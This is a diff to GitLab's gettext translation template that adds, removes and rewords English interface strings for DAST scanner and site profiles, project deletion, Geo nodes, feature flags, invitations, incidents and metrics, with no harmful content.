@@ -7505,12 +7737,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7583,7 +7872,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7661,10 +7950,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7721,6 +8010,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7742,15 +8034,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7760,6 +8061,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7785,6 +8089,10 @@ msgid "Dependencies|%d additional vulnerability not shown"
msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7792,6 +8100,9 @@ msgstr[0] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7804,6 +8115,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7822,6 +8136,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7859,8 +8176,8 @@ msgid "Depends on %d merge request being merged"
msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgid "Deploy"
@@ -7903,7 +8220,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8137,13 +8454,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8176,15 +8502,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8266,7 +8583,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8275,6 +8595,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8287,7 +8610,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8392,9 +8718,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8408,7 +8731,7 @@ msgid "Dismiss %d selected vulnerability as"
msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8660,9 +8983,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -8951,9 +9271,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9122,6 +9439,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9146,7 +9466,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9425,6 +9745,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9752,7 +10075,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9773,6 +10096,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9782,9 +10108,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9797,9 +10120,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9809,9 +10129,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9824,9 +10141,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10257,12 +10571,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10347,6 +10667,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10356,9 +10679,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10398,6 +10718,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10623,6 +10946,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10794,30 +11120,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10833,12 +11144,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10866,12 +11171,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10893,15 +11192,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -10929,27 +11219,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -10962,6 +11237,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11025,6 +11306,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11157,10 +11444,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11337,7 +11624,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11454,7 +11741,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11736,6 +12026,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12012,7 +12305,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12225,6 +12518,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12240,6 +12536,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12368,6 +12667,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12524,6 +12826,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12677,6 +12985,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12692,6 +13003,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12704,13 +13018,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12719,21 +13033,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12746,6 +13063,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12764,6 +13084,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12839,6 +13162,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -12905,6 +13231,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -12918,7 +13247,7 @@ msgstr[0] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -12945,6 +13274,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -12957,13 +13292,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -12993,7 +13325,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13005,9 +13337,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13104,6 +13442,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13143,6 +13514,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13242,9 +13616,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13386,6 +13757,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13428,6 +13802,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13443,6 +13820,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13731,7 +14111,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -13960,7 +14340,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14053,10 +14433,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14083,6 +14463,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14146,9 +14529,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14164,9 +14544,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14219,6 +14596,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14240,6 +14620,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14291,7 +14674,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14342,6 +14725,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14357,6 +14746,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14441,9 +14833,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14555,9 +14944,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14693,6 +15079,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14702,9 +15097,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14732,15 +15124,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14756,6 +15148,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14819,6 +15214,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -14951,6 +15367,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15053,6 +15475,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15062,9 +15490,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15098,9 +15523,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
